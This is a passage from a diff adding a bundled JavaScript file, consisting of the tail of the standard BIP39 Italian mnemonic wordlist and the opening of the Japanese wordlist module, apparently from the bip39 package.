+ "archivio", + "ardito", + "arenile", + "argento", + "argine", + "arguto", + "aria", + "armonia", + "arnese", + "arredato", + "arringa", + "arrosto", + "arsenico", + "arso", + "artefice", + "arzillo", + "asciutto", + "ascolto", + "asepsi", + "asettico", + "asfalto", + "asino", + "asola", + "aspirato", + "aspro", + "assaggio", + "asse", + "assoluto", + "assurdo", + "asta", + "astenuto", + "astice", + "astratto", + "atavico", + "ateismo", + "atomico", + "atono", + "attesa", + "attivare", + "attorno", + "attrito", + "attuale", + "ausilio", + "austria", + "autista", + "autonomo", + "autunno", + "avanzato", + "avere", + "avvenire", + "avviso", + "avvolgere", + "azione", + "azoto", + "azzimo", + "azzurro", + "babele", + "baccano", + "bacino", + "baco", + "badessa", + "badilata", + "bagnato", + "baita", + "balcone", + "baldo", + "balena", + "ballata", + "balzano", + "bambino", + "bandire", + "baraonda", + "barbaro", + "barca", + "baritono", + "barlume", + "barocco", + "basilico", + "basso", + "batosta", + "battuto", + "baule", + "bava", + "bavosa", + "becco", + "beffa", + "belgio", + "belva", + "benda", + "benevole", + "benigno", + "benzina", + "bere", + "berlina", + "beta", + "bibita", + "bici", + "bidone", + "bifido", + "biga", + "bilancia", + "bimbo", + "binocolo", + "biologo", + "bipede", + "bipolare", + "birbante", + "birra", + "biscotto", + "bisesto", + "bisnonno", + "bisonte", + "bisturi", + "bizzarro", + "blando", + "blatta", + "bollito", + "bonifico", + "bordo", + "bosco", + "botanico", + "bottino", + "bozzolo", + "braccio", + "bradipo", + "brama", + "branca", + "bravura", + "bretella", + "brevetto", + "brezza", + "briglia", + "brillante", + "brindare", + "broccolo", + "brodo", + "bronzina", + "brullo", + "bruno", + "bubbone", + "buca", + "budino", + "buffone", + "buio", + "bulbo", + "buono", + "burlone", + "burrasca", + "bussola", + "busta", + "cadetto", + "caduco", + "calamaro", + "calcolo", + "calesse", + "calibro", + "calmo", + "caloria", + "cambusa", + "camerata", + "camicia", + "cammino", + "camola", + "campale", + "canapa", + "candela", + "cane", + "canino", + "canotto", + "cantina", + "capace", + "capello", + "capitolo", + "capogiro", + "cappero", + "capra", + "capsula", + "carapace", + "carcassa", + "cardo", + "carisma", + "carovana", + "carretto", + "cartolina", + "casaccio", + "cascata", + "caserma", + "caso", + "cassone", + "castello", + "casuale", + "catasta", + "catena", + "catrame", + "cauto", + "cavillo", + "cedibile", + "cedrata", + "cefalo", + "celebre", + "cellulare", + "cena", + "cenone", + "centesimo", + "ceramica", + "cercare", + "certo", + "cerume", + "cervello", + "cesoia", + "cespo", + "ceto", + "chela", + "chiaro", + "chicca", + "chiedere", + "chimera", + "china", + "chirurgo", + "chitarra", + "ciao", + "ciclismo", + "cifrare", + "cigno", + "cilindro", + "ciottolo", + "circa", + "cirrosi", + "citrico", + "cittadino", + "ciuffo", + "civetta", + "civile", + "classico", + "clinica", + "cloro", + "cocco", + "codardo", + "codice", + "coerente", + "cognome", + "collare", + "colmato", + "colore", + "colposo", + "coltivato", + "colza", + "coma", + "cometa", + "commando", + "comodo", + "computer", + "comune", + "conciso", + "condurre", + "conferma", + "congelare", + "coniuge", + "connesso", + "conoscere", + "consumo", + "continuo", + "convegno", + "coperto", + "copione", + "coppia", + "copricapo", + "corazza", + "cordata", + "coricato", + "cornice", + "corolla", + "corpo", + "corredo", + "corsia", + "cortese", + "cosmico", + "costante", + "cottura", + "covato", + "cratere", + "cravatta", + "creato", + "credere", + "cremoso", + "crescita", + "creta", + "criceto", + "crinale", + "crisi", + "critico", + "croce", + "cronaca", + "crostata", + "cruciale", + "crusca", + "cucire", + "cuculo", + "cugino", + "cullato", + "cupola", + "curatore", + "cursore", + "curvo", + "cuscino", + "custode", + "dado", + "daino", + "dalmata", + "damerino", + "daniela", + "dannoso", + "danzare", + "datato", + "davanti", + "davvero", + "debutto", + "decennio", + "deciso", + "declino", + "decollo", + "decreto", + "dedicato", + "definito", + "deforme", + "degno", + "delegare", + "delfino", + "delirio", + "delta", + "demenza", + "denotato", + "dentro", + "deposito", + "derapata", + "derivare", + "deroga", + "descritto", + "deserto", + "desiderio", + "desumere", + "detersivo", + "devoto", + "diametro", + "dicembre", + "diedro", + "difeso", + "diffuso", + "digerire", + "digitale", + "diluvio", + "dinamico", + "dinnanzi", + "dipinto", + "diploma", + "dipolo", + "diradare", + "dire", + "dirotto", + "dirupo", + "disagio", + "discreto", + "disfare", + "disgelo", + "disposto", + "distanza", + "disumano", + "dito", + "divano", + "divelto", + "dividere", + "divorato", + "doblone", + "docente", + "doganale", + "dogma", + "dolce", + "domato", + "domenica", + "dominare", + "dondolo", + "dono", + "dormire", + "dote", + "dottore", + "dovuto", + "dozzina", + "drago", + "druido", + "dubbio", + "dubitare", + "ducale", + "duna", + "duomo", + "duplice", + "duraturo", + "ebano", + "eccesso", + "ecco", + "eclissi", + "economia", + "edera", + "edicola", + "edile", + "editoria", + "educare", + "egemonia", + "egli", + "egoismo", + "egregio", + "elaborato", + "elargire", + "elegante", + "elencato", + "eletto", + "elevare", + "elfico", + "elica", + "elmo", + "elsa", + "eluso", + "emanato", + "emblema", + "emesso", + "emiro", + "emotivo", + "emozione", + "empirico", + "emulo", + "endemico", + "enduro", + "energia", + "enfasi", + "enoteca", + "entrare", + "enzima", + "epatite", + "epilogo", + "episodio", + "epocale", + "eppure", + "equatore", + "erario", + "erba", + "erboso", + "erede", + "eremita", + "erigere", + "ermetico", + "eroe", + "erosivo", + "errante", + "esagono", + "esame", + "esanime", + "esaudire", + "esca", + "esempio", + "esercito", + "esibito", + "esigente", + "esistere", + "esito", + "esofago", + "esortato", + "esoso", + "espanso", + "espresso", + "essenza", + "esso", + "esteso", + "estimare", + "estonia", + "estroso", + "esultare", + "etilico", + "etnico", + "etrusco", + "etto", + "euclideo", + "europa", + "evaso", + "evidenza", + "evitato", + "evoluto", + "evviva", + "fabbrica", + "faccenda", + "fachiro", + "falco", + "famiglia", + "fanale", + "fanfara", + "fango", + "fantasma", + "fare", + "farfalla", + "farinoso", + "farmaco", + "fascia", + "fastoso", + "fasullo", + "faticare", + "fato", + "favoloso", + "febbre", + "fecola", + "fede", + "fegato", + "felpa", + "feltro", + "femmina", + "fendere", + "fenomeno", + "fermento", + "ferro", + "fertile", + "fessura", + "festivo", + "fetta", + "feudo", + "fiaba", + "fiducia", + "fifa", + "figurato", + "filo", + "finanza", + "finestra", + "finire", + "fiore", + "fiscale", + "fisico", + "fiume", + "flacone", + "flamenco", + "flebo", + "flemma", + "florido", + "fluente", + "fluoro", + "fobico", + "focaccia", + "focoso", + "foderato", + "foglio", + "folata", + "folclore", + "folgore", + "fondente", + "fonetico", + "fonia", + "fontana", + "forbito", + "forchetta", + "foresta", + "formica", + "fornaio", + "foro", + "fortezza", + "forzare", + "fosfato", + "fosso", + "fracasso", + "frana", + "frassino", + "fratello", + "freccetta", + "frenata", + "fresco", + "frigo", + "frollino", + "fronde", + "frugale", + "frutta", + "fucilata", + "fucsia", + "fuggente", + "fulmine", + "fulvo", + "fumante", + "fumetto", + "fumoso", + "fune", + "funzione", + "fuoco", + "furbo", + "furgone", + "furore", + "fuso", + "futile", + "gabbiano", + "gaffe", + "galateo", + "gallina", + "galoppo", + "gambero", + "gamma", + "garanzia", + "garbo", + "garofano", + "garzone", + "gasdotto", + "gasolio", + "gastrico", + "gatto", + "gaudio", + "gazebo", + "gazzella", + "geco", + "gelatina", + "gelso", + "gemello", + "gemmato", + "gene", + "genitore", + "gennaio", + "genotipo", + "gergo", + "ghepardo", + "ghiaccio", + "ghisa", + "giallo", + "gilda", + "ginepro", + "giocare", + "gioiello", + "giorno", + "giove", + "girato", + "girone", + "gittata", + "giudizio", + "giurato", + "giusto", + "globulo", + "glutine", + "gnomo", + "gobba", + "golf", + "gomito", + "gommone", + "gonfio", + "gonna", + "governo", + "gracile", + "grado", + "grafico", + "grammo", + "grande", + "grattare", + "gravoso", + "grazia", + "greca", + "gregge", + "grifone", + "grigio", + "grinza", + "grotta", + "gruppo", + "guadagno", + "guaio", + "guanto", + "guardare", + "gufo", + "guidare", + "ibernato", + "icona", + "identico", + "idillio", + "idolo", + "idra", + "idrico", + "idrogeno", + "igiene", + "ignaro", + "ignorato", + "ilare", + "illeso", + "illogico", + "illudere", + "imballo", + "imbevuto", + "imbocco", + "imbuto", + "immane", + "immerso", + "immolato", + "impacco", + "impeto", + "impiego", + "importo", + "impronta", + "inalare", + "inarcare", + "inattivo", + "incanto", + "incendio", + "inchino", + "incisivo", + "incluso", + "incontro", + "incrocio", + "incubo", + "indagine", + "india", + "indole", + "inedito", + "infatti", + "infilare", + "inflitto", + "ingaggio", + "ingegno", + "inglese", + "ingordo", + "ingrosso", + "innesco", + "inodore", + "inoltrare", + "inondato", + "insano", + "insetto", + "insieme", + "insonnia", + "insulina", + "intasato", + "intero", + "intonaco", + "intuito", + "inumidire", + "invalido", + "invece", + "invito", + "iperbole", + "ipnotico", + "ipotesi", + "ippica", + "iride", + "irlanda", + "ironico", + "irrigato", + "irrorare", + "isolato", + "isotopo", + "isterico", + "istituto", + "istrice", + "italia", + "iterare", + "labbro", + "labirinto", + "lacca", + "lacerato", + "lacrima", + "lacuna", + "laddove", + "lago", + "lampo", + "lancetta", + "lanterna", + "lardoso", + "larga", + "laringe", + "lastra", + "latenza", + "latino", + "lattuga", + "lavagna", + "lavoro", + "legale", + "leggero", + "lembo", + "lentezza", + "lenza", + "leone", + "lepre", + "lesivo", + "lessato", + "lesto", + "letterale", + "leva", + "levigato", + "libero", + "lido", + "lievito", + "lilla", + "limatura", + "limitare", + "limpido", + "lineare", + "lingua", + "liquido", + "lira", + "lirica", + "lisca", + "lite", + "litigio", + "livrea", + "locanda", + "lode", + "logica", + "lombare", + "londra", + "longevo", + "loquace", + "lorenzo", + "loto", + "lotteria", + "luce", + "lucidato", + "lumaca", + "luminoso", + "lungo", + "lupo", + "luppolo", + "lusinga", + "lusso", + "lutto", + "macabro", + "macchina", + "macero", + "macinato", + "madama", + "magico", + "maglia", + "magnete", + "magro", + "maiolica", + "malafede", + "malgrado", + "malinteso", + "malsano", + "malto", + "malumore", + "mana", + "mancia", + "mandorla", + "mangiare", + "manifesto", + "mannaro", + "manovra", + "mansarda", + "mantide", + "manubrio", + "mappa", + "maratona", + "marcire", + "maretta", + "marmo", + "marsupio", + "maschera", + "massaia", + "mastino", + "materasso", + "matricola", + "mattone", + "maturo", + "mazurca", + "meandro", + "meccanico", + "mecenate", + "medesimo", + "meditare", + "mega", + "melassa", + "melis", + "melodia", + "meninge", + "meno", + "mensola", + "mercurio", + "merenda", + "merlo", + "meschino", + "mese", + "messere", + "mestolo", + "metallo", + "metodo", + "mettere", + "miagolare", + "mica", + "micelio", + "michele", + "microbo", + "midollo", + "miele", + "migliore", + "milano", + "milite", + "mimosa", + "minerale", + "mini", + "minore", + "mirino", + "mirtillo", + "miscela", + "missiva", + "misto", + "misurare", + "mitezza", + "mitigare", + "mitra", + "mittente", + "mnemonico", + "modello", + "modifica", + "modulo", + "mogano", + "mogio", + "mole", + "molosso", + "monastero", + "monco", + "mondina", + "monetario", + "monile", + "monotono", + "monsone", + "montato", + "monviso", + "mora", + "mordere", + "morsicato", + "mostro", + "motivato", + "motosega", + "motto", + "movenza", + "movimento", + "mozzo", + "mucca", + "mucosa", + "muffa", + "mughetto", + "mugnaio", + "mulatto", + "mulinello", + "multiplo", + "mummia", + "munto", + "muovere", + "murale", + "musa", + "muscolo", + "musica", + "mutevole", + "muto", + "nababbo", + "nafta", + "nanometro", + "narciso", + "narice", + "narrato", + "nascere", + "nastrare", + "naturale", + "nautica", + "naviglio", + "nebulosa", + "necrosi", + "negativo", + "negozio", + "nemmeno", + "neofita", + "neretto", + "nervo", + "nessuno", + "nettuno", + "neutrale", + "neve", + "nevrotico", + "nicchia", + "ninfa", + "nitido", + "nobile", + "nocivo", + "nodo", + "nome", + "nomina", + "nordico", + "normale", + "norvegese", + "nostrano", + "notare", + "notizia", + "notturno", + "novella", + "nucleo", + "nulla", + "numero", + "nuovo", + "nutrire", + "nuvola", + "nuziale", + "oasi", + "obbedire", + "obbligo", + "obelisco", + "oblio", + "obolo", + "obsoleto", + "occasione", + "occhio", + "occidente", + "occorrere", + "occultare", + "ocra", + "oculato", + "odierno", + "odorare", + "offerta", + "offrire", + "offuscato", + "oggetto", + "oggi", + "ognuno", + "olandese", + "olfatto", + "oliato", + "oliva", + "ologramma", + "oltre", + "omaggio", + "ombelico", + "ombra", + "omega", + "omissione", + "ondoso", + "onere", + "onice", + "onnivoro", + "onorevole", + "onta", + "operato", + "opinione", + "opposto", + "oracolo", + "orafo", + "ordine", + "orecchino", + "orefice", + "orfano", + "organico", + "origine", + "orizzonte", + "orma", + "ormeggio", + "ornativo", + "orologio", + "orrendo", + "orribile", + "ortensia", + "ortica", + "orzata", + "orzo", + "osare", + "oscurare", + "osmosi", + "ospedale", + "ospite", + "ossa", + "ossidare", + "ostacolo", + "oste", + "otite", + "otre", + "ottagono", + "ottimo", + "ottobre", + "ovale", + "ovest", + "ovino", + "oviparo", + "ovocito", + "ovunque", + "ovviare", + "ozio", + "pacchetto", + "pace", + "pacifico", + "padella", + "padrone", + "paese", + "paga", + "pagina", + "palazzina", + "palesare", + "pallido", + "palo", + "palude", + "pandoro", + "pannello", + "paolo", + "paonazzo", + "paprica", + "parabola", + "parcella", + "parere", + "pargolo", + "pari", + "parlato", + "parola", + "partire", + "parvenza", + "parziale", + "passivo", + "pasticca", + "patacca", + "patologia", + "pattume", + "pavone", + "peccato", + "pedalare", + "pedonale", + "peggio", + "peloso", + "penare", + "pendice", + "penisola", + "pennuto", + "penombra", + "pensare", + "pentola", + "pepe", + "pepita", + "perbene", + "percorso", + "perdonato", + "perforare", + "pergamena", + "periodo", + "permesso", + "perno", + "perplesso", + "persuaso", + "pertugio", + "pervaso", + "pesatore", + "pesista", + "peso", + "pestifero", + "petalo", + "pettine", + "petulante", + "pezzo", + "piacere", + "pianta", + "piattino", + "piccino", + "picozza", + "piega", + "pietra", + "piffero", + "pigiama", + "pigolio", + "pigro", + "pila", + "pilifero", + "pillola", + "pilota", + "pimpante", + "pineta", + "pinna", + "pinolo", + "pioggia", + "piombo", + "piramide", + "piretico", + "pirite", + "pirolisi", + "pitone", + "pizzico", + "placebo", + "planare", + "plasma", + "platano", + "plenario", + "pochezza", + "poderoso", + "podismo", + "poesia", + "poggiare", + "polenta", + "poligono", + "pollice", + "polmonite", + "polpetta", + "polso", + "poltrona", + "polvere", + "pomice", + "pomodoro", + "ponte", + "popoloso", + "porfido", + "poroso", + "porpora", + "porre", + "portata", + "posa", + "positivo", + "possesso", + "postulato", + "potassio", + "potere", + "pranzo", + "prassi", + "pratica", + "precluso", + "predica", + "prefisso", + "pregiato", + "prelievo", + "premere", + "prenotare", + "preparato", + "presenza", + "pretesto", + "prevalso", + "prima", + "principe", + "privato", + "problema", + "procura", + "produrre", + "profumo", + "progetto", + "prolunga", + "promessa", + "pronome", + "proposta", + "proroga", + "proteso", + "prova", + "prudente", + "prugna", + "prurito", + "psiche", + "pubblico", + "pudica", + "pugilato", + "pugno", + "pulce", + "pulito", + "pulsante", + "puntare", + "pupazzo", + "pupilla", + "puro", + "quadro", + "qualcosa", + "quasi", + "querela", + "quota", + "raccolto", + "raddoppio", + "radicale", + "radunato", + "raffica", + "ragazzo", + "ragione", + "ragno", + "ramarro", + "ramingo", + "ramo", + "randagio", + "rantolare", + "rapato", + "rapina", + "rappreso", + "rasatura", + "raschiato", + "rasente", + "rassegna", + "rastrello", + "rata", + "ravveduto", + "reale", + "recepire", + "recinto", + "recluta", + "recondito", + "recupero", + "reddito", + "redimere", + "regalato", + "registro", + "regola", + "regresso", + "relazione", + "remare", + "remoto", + "renna", + "replica", + "reprimere", + "reputare", + "resa", + "residente", + "responso", + "restauro", + "rete", + "retina", + "retorica", + "rettifica", + "revocato", + "riassunto", + "ribadire", + "ribelle", + "ribrezzo", + "ricarica", + "ricco", + "ricevere", + "riciclato", + "ricordo", + "ricreduto", + "ridicolo", + "ridurre", + "rifasare", + "riflesso", + "riforma", + "rifugio", + "rigare", + "rigettato", + "righello", + "rilassato", + "rilevato", + "rimanere", + "rimbalzo", + "rimedio", + "rimorchio", + "rinascita", + "rincaro", + "rinforzo", + "rinnovo", + "rinomato", + "rinsavito", + "rintocco", + "rinuncia", + "rinvenire", + "riparato", + "ripetuto", + "ripieno", + "riportare", + "ripresa", + "ripulire", + "risata", + "rischio", + "riserva", + "risibile", + "riso", + "rispetto", + "ristoro", + "risultato", + "risvolto", + "ritardo", + "ritegno", + "ritmico", + "ritrovo", + "riunione", + "riva", + "riverso", + "rivincita", + "rivolto", + "rizoma", + "roba", + "robotico", + "robusto", + "roccia", + "roco", + "rodaggio", + "rodere", + "roditore", + "rogito", + "rollio", + "romantico", + "rompere", + "ronzio", + "rosolare", + "rospo", + "rotante", + "rotondo", + "rotula", + "rovescio", + "rubizzo", + "rubrica", + "ruga", + "rullino", + "rumine", + "rumoroso", + "ruolo", + "rupe", + "russare", + "rustico", + "sabato", + "sabbiare", + "sabotato", + "sagoma", + "salasso", + "saldatura", + "salgemma", + "salivare", + "salmone", + "salone", + "saltare", + "saluto", + "salvo", + "sapere", + "sapido", + "saporito", + "saraceno", + "sarcasmo", + "sarto", + "sassoso", + "satellite", + "satira", + "satollo", + "saturno", + "savana", + "savio", + "saziato", + "sbadiglio", + "sbalzo", + "sbancato", + "sbarra", + "sbattere", + "sbavare", + "sbendare", + "sbirciare", + "sbloccato", + "sbocciato", + "sbrinare", + "sbruffone", + "sbuffare", + "scabroso", + "scadenza", + "scala", + "scambiare", + "scandalo", + "scapola", + "scarso", + "scatenare", + "scavato", + "scelto", + "scenico", + "scettro", + "scheda", + "schiena", + "sciarpa", + "scienza", + "scindere", + "scippo", + "sciroppo", + "scivolo", + "sclerare", + "scodella", + "scolpito", + "scomparto", + "sconforto", + "scoprire", + "scorta", + "scossone", + "scozzese", + "scriba", + "scrollare", + "scrutinio", + "scuderia", + "scultore", + "scuola", + "scuro", + "scusare", + "sdebitare", + "sdoganare", + "seccatura", + "secondo", + "sedano", + "seggiola", + "segnalato", + "segregato", + "seguito", + "selciato", + "selettivo", + "sella", + "selvaggio", + "semaforo", + "sembrare", + "seme", + "seminato", + "sempre", + "senso", + "sentire", + "sepolto", + "sequenza", + "serata", + "serbato", + "sereno", + "serio", + "serpente", + "serraglio", + "servire", + "sestina", + "setola", + "settimana", + "sfacelo", + "sfaldare", + "sfamato", + "sfarzoso", + "sfaticato", + "sfera", + "sfida", + "sfilato", + "sfinge", + "sfocato", + "sfoderare", + "sfogo", + "sfoltire", + "sforzato", + "sfratto", + "sfruttato", + "sfuggito", + "sfumare", + "sfuso", + "sgabello", + "sgarbato", + "sgonfiare", + "sgorbio", + "sgrassato", + "sguardo", + "sibilo", + "siccome", + "sierra", + "sigla", + "signore", + "silenzio", + "sillaba", + "simbolo", + "simpatico", + "simulato", + "sinfonia", + "singolo", + "sinistro", + "sino", + "sintesi", + "sinusoide", + "sipario", + "sisma", + "sistole", + "situato", + "slitta", + "slogatura", + "sloveno", + "smarrito", + "smemorato", + "smentito", + "smeraldo", + "smilzo", + "smontare", + "smottato", + "smussato", + "snellire", + "snervato", + "snodo", + "sobbalzo", + "sobrio", + "soccorso", + "sociale", + "sodale", + "soffitto", + "sogno", + "soldato", + "solenne", + "solido", + "sollazzo", + "solo", + "solubile", + "solvente", + "somatico", + "somma", + "sonda", + "sonetto", + "sonnifero", + "sopire", + "soppeso", + "sopra", + "sorgere", + "sorpasso", + "sorriso", + "sorso", + "sorteggio", + "sorvolato", + "sospiro", + "sosta", + "sottile", + "spada", + "spalla", + "spargere", + "spatola", + "spavento", + "spazzola", + "specie", + "spedire", + "spegnere", + "spelatura", + "speranza", + "spessore", + "spettrale", + "spezzato", + "spia", + "spigoloso", + "spillato", + "spinoso", + "spirale", + "splendido", + "sportivo", + "sposo", + "spranga", + "sprecare", + "spronato", + "spruzzo", + "spuntino", + "squillo", + "sradicare", + "srotolato", + "stabile", + "stacco", + "staffa", + "stagnare", + "stampato", + "stantio", + "starnuto", + "stasera", + "statuto", + "stelo", + "steppa", + "sterzo", + "stiletto", + "stima", + "stirpe", + "stivale", + "stizzoso", + "stonato", + "storico", + "strappo", + "stregato", + "stridulo", + "strozzare", + "strutto", + "stuccare", + "stufo", + "stupendo", + "subentro", + "succoso", + "sudore", + "suggerito", + "sugo", + "sultano", + "suonare", + "superbo", + "supporto", + "surgelato", + "surrogato", + "sussurro", + "sutura", + "svagare", + "svedese", + "sveglio", + "svelare", + "svenuto", + "svezia", + "sviluppo", + "svista", + "svizzera", + "svolta", + "svuotare", + "tabacco", + "tabulato", + "tacciare", + "taciturno", + "tale", + "talismano", + "tampone", + "tannino", + "tara", + "tardivo", + "targato", + "tariffa", + "tarpare", + "tartaruga", + "tasto", + "tattico", + "taverna", + "tavolata", + "tazza", + "teca", + "tecnico", + "telefono", + "temerario", + "tempo", + "temuto", + "tendone", + "tenero", + "tensione", + "tentacolo", + "teorema", + "terme", + "terrazzo", + "terzetto", + "tesi", + "tesserato", + "testato", + "tetro", + "tettoia", + "tifare", + "tigella", + "timbro", + "tinto", + "tipico", + "tipografo", + "tiraggio", + "tiro", + "titanio", + "titolo", + "titubante", + "tizio", + "tizzone", + "toccare", + "tollerare", + "tolto", + "tombola", + "tomo", + "tonfo", + "tonsilla", + "topazio", + "topologia", + "toppa", + "torba", + "tornare", + "torrone", + "tortora", + "toscano", + "tossire", + "tostatura", + "totano", + "trabocco", + "trachea", + "trafila", + "tragedia", + "tralcio", + "tramonto", + "transito", + "trapano", + "trarre", + "trasloco", + "trattato", + "trave", + "treccia", + "tremolio", + "trespolo", + "tributo", + "tricheco", + "trifoglio", + "trillo", + "trincea", + "trio", + "tristezza", + "triturato", + "trivella", + "tromba", + "trono", + "troppo", + "trottola", + "trovare", + "truccato", + "tubatura", + "tuffato", + "tulipano", + "tumulto", + "tunisia", + "turbare", + "turchino", + "tuta", + "tutela", + "ubicato", + "uccello", + "uccisore", + "udire", + "uditivo", + "uffa", + "ufficio", + "uguale", + "ulisse", + "ultimato", + "umano", + "umile", + "umorismo", + "uncinetto", + "ungere", + "ungherese", + "unicorno", + "unificato", + "unisono", + "unitario", + "unte", + "uovo", + "upupa", + "uragano", + "urgenza", + "urlo", + "usanza", + "usato", + "uscito", + "usignolo", + "usuraio", + "utensile", + "utilizzo", + "utopia", + "vacante", + "vaccinato", + "vagabondo", + "vagliato", + "valanga", + "valgo", + "valico", + "valletta", + "valoroso", + "valutare", + "valvola", + "vampata", + "vangare", + "vanitoso", + "vano", + "vantaggio", + "vanvera", + "vapore", + "varano", + "varcato", + "variante", + "vasca", + "vedetta", + "vedova", + "veduto", + "vegetale", + "veicolo", + "velcro", + "velina", + "velluto", + "veloce", + "venato", + "vendemmia", + "vento", + "verace", + "verbale", + "vergogna", + "verifica", + "vero", + "verruca", + "verticale", + "vescica", + "vessillo", + "vestale", + "veterano", + "vetrina", + "vetusto", + "viandante", + "vibrante", + "vicenda", + "vichingo", + "vicinanza", + "vidimare", + "vigilia", + "vigneto", + "vigore", + "vile", + "villano", + "vimini", + "vincitore", + "viola", + "vipera", + "virgola", + "virologo", + "virulento", + "viscoso", + "visione", + "vispo", + "vissuto", + "visura", + "vita", + "vitello", + "vittima", + "vivanda", + "vivido", + "viziare", + "voce", + "voga", + "volatile", + "volere", + "volpe", + "voragine", + "vulcano", + "zampogna", + "zanna", + "zappato", + "zattera", + "zavorra", + "zefiro", + "zelante", + "zelo", + "zenzero", + "zerbino", + "zibetto", + "zinco", + "zircone", + "zitto", + "zolla", + "zotico", + "zucchero", + "zufolo", + "zulu", + "zuppa" + ]; +}); + +// node_modules/bip39/wordlists/japanese.json +var require_japanese = __commonJS((exports, module) => { + module.exports = [ + "あいこくしん", + "あいさつ", + "あいだ", + "あおぞら", + "あかちゃん", + "あきる", + "あけがた", + "あける", + "あこがれる", + "あさい", + "あさひ", + "あしあと", + "あじわう", + "あずかる", + "あずき", + "あそぶ", + "あたえる", + "あたためる", + "あたりまえ", + "あたる", + "あつい", + "あつかう", + "あっしゅく", + "あつまり", + "あつめる", + "あてな", + "あてはまる", + "あひる", + "あぶら", + "あぶる", + "あふれる", + "あまい", + "あまど", + "あまやかす", + "あまり", + "あみもの", + "あめりか", + "あやまる", + "あゆむ", + "あらいぐま", + "あらし", + "あらすじ", + "あらためる", + "あらゆる", + "あらわす", + "ありがとう", + "あわせる", + "あわてる", + "あんい", + "あんがい", + "あんこ", + "あんぜん", + "あんてい", + "あんない", + "あんまり", + "いいだす", + "いおん", + "いがい", + "いがく", + "いきおい", + "いきなり", + "いきもの", + "いきる", + "いくじ", + "いくぶん", + "いけばな", + "いけん", + "いこう", + "いこく", + "いこつ", + "いさましい", + "いさん", + "いしき", + "いじゅう", + "いじょう", + "いじわる", + "いずみ", + "いずれ", + "いせい", + "いせえび", + "いせかい", + "いせき", + "いぜん", + "いそうろう", + "いそがしい", + "いだい", + "いだく", + "いたずら", + "いたみ", + "いたりあ", + "いちおう", + "いちじ", + "いちど", + "いちば", + "いちぶ", + "いちりゅう", + "いつか", + "いっしゅん", + "いっせい", + "いっそう", + "いったん", + "いっち", + "いってい", + "いっぽう", + "いてざ", + "いてん", + "いどう", + "いとこ", + "いない", + "いなか", + "いねむり", + "いのち", + "いのる", + "いはつ", + "いばる", + "いはん", + "いびき", + "いひん", + "いふく", + "いへん", + "いほう", + "いみん", + "いもうと", + "いもたれ", + "いもり", + "いやがる", + "いやす", + "いよかん", + "いよく", + "いらい", + "いらすと", + "いりぐち", + "いりょう", + "いれい", + "いれもの", + "いれる", + "いろえんぴつ", + "いわい", + "いわう", + "いわかん", + "いわば", + "いわゆる", + "いんげんまめ", + "いんさつ", + "いんしょう", + "いんよう", + "うえき", + "うえる", + "うおざ", + "うがい", + "うかぶ", + "うかべる", + "うきわ", + "うくらいな", + "うくれれ", + "うけたまわる", + "うけつけ", + "うけとる", + "うけもつ", + "うける", + "うごかす", + "うごく", + "うこん", + "うさぎ", + "うしなう", + "うしろがみ", + "うすい", + "うすぎ", + "うすぐらい", + "うすめる", + "うせつ", + "うちあわせ", + "うちがわ", + "うちき", + "うちゅう", + "うっかり", + "うつくしい", + "うったえる", + "うつる", + "うどん", + "うなぎ", + "うなじ", + "うなずく", + "うなる", + "うねる", + "うのう", + "うぶげ", + "うぶごえ", + "うまれる", + "うめる", + "うもう", + "うやまう", + "うよく", + "うらがえす", + "うらぐち", + "うらない", + "うりあげ", + "うりきれ", + "うるさい", + "うれしい", + "うれゆき", + "うれる", + "うろこ", + "うわき", + "うわさ", + "うんこう", + "うんちん", + "うんてん", + "うんどう", + "えいえん", + "えいが", + "えいきょう", + "えいご", + "えいせい", + "えいぶん", + "えいよう", + "えいわ", + "えおり", + "えがお", + "えがく", + "えきたい", + "えくせる", + "えしゃく", + "えすて", + "えつらん", + "えのぐ", + "えほうまき", + "えほん", + "えまき", + "えもじ", + "えもの", + "えらい", + "えらぶ", + "えりあ", + "えんえん", + "えんかい", + "えんぎ", + "えんげき", + "えんしゅう", + "えんぜつ", + "えんそく", + "えんちょう", + "えんとつ", + "おいかける", + "おいこす", + "おいしい", + "おいつく", + "おうえん", + "おうさま", + "おうじ", + "おうせつ", + "おうたい", + "おうふく", + "おうべい", + "おうよう", + "おえる", + "おおい", + "おおう", + "おおどおり", + "おおや", + "おおよそ", + "おかえり", + "おかず", + "おがむ", + "おかわり", + "おぎなう", + "おきる", + "おくさま", + "おくじょう", + "おくりがな", + "おくる", + "おくれる", + "おこす", + "おこなう", + "おこる", + "おさえる", + "おさない", + "おさめる", + "おしいれ", + "おしえる", + "おじぎ", + "おじさん", + "おしゃれ", + "おそらく", + "おそわる", + "おたがい", + "おたく", + "おだやか", + "おちつく", + "おっと", + "おつり", + "おでかけ", + "おとしもの", + "おとなしい", + "おどり", + "おどろかす", + "おばさん", + "おまいり", + "おめでとう", + "おもいで", + "おもう", + "おもたい", + "おもちゃ", + "おやつ", + "おやゆび", + "およぼす", + "おらんだ", + "おろす", + "おんがく", + "おんけい", + "おんしゃ", + "おんせん", + "おんだん", + "おんちゅう", + "おんどけい", + "かあつ", + "かいが", + "がいき", + "がいけん", + "がいこう", + "かいさつ", + "かいしゃ", + "かいすいよく", + "かいぜん", + "かいぞうど", + "かいつう", + "かいてん", + "かいとう", + "かいふく", + "がいへき", + "かいほう", + "かいよう", + "がいらい", + "かいわ", + "かえる", + "かおり", + "かかえる", + "かがく", + "かがし", + "かがみ", + "かくご", + "かくとく", + "かざる", + "がぞう", + "かたい", + "かたち", + "がちょう", + "がっきゅう", + "がっこう", + "がっさん", + "がっしょう", + "かなざわし", + "かのう", + "がはく", + "かぶか", + "かほう", + "かほご", + "かまう", + "かまぼこ", + "かめれおん", + "かゆい", + "かようび", + "からい", + "かるい", + "かろう", + "かわく", + "かわら", + "がんか", + "かんけい", + "かんこう", + "かんしゃ", + "かんそう", + "かんたん", + "かんち", + "がんばる", + "きあい", + "きあつ", + "きいろ", + "ぎいん", + "きうい", + "きうん", + "きえる", + "きおう", + "きおく", + "きおち", + "きおん", + "きかい", + "きかく", + "きかんしゃ", + "ききて", + "きくばり", + "きくらげ", + "きけんせい", + "きこう", + "きこえる", + "きこく", + "きさい", + "きさく", + "きさま", + "きさらぎ", + "ぎじかがく", + "ぎしき", + "ぎじたいけん", + "ぎじにってい", + "ぎじゅつしゃ", + "きすう", + "きせい", + "きせき", + "きせつ", + "きそう", + "きぞく", + "きぞん", + "きたえる", + "きちょう", + "きつえん", + "ぎっちり", + "きつつき", + "きつね", + "きてい", + "きどう", + "きどく", + "きない", + "きなが", + "きなこ", + "きぬごし", + "きねん", + 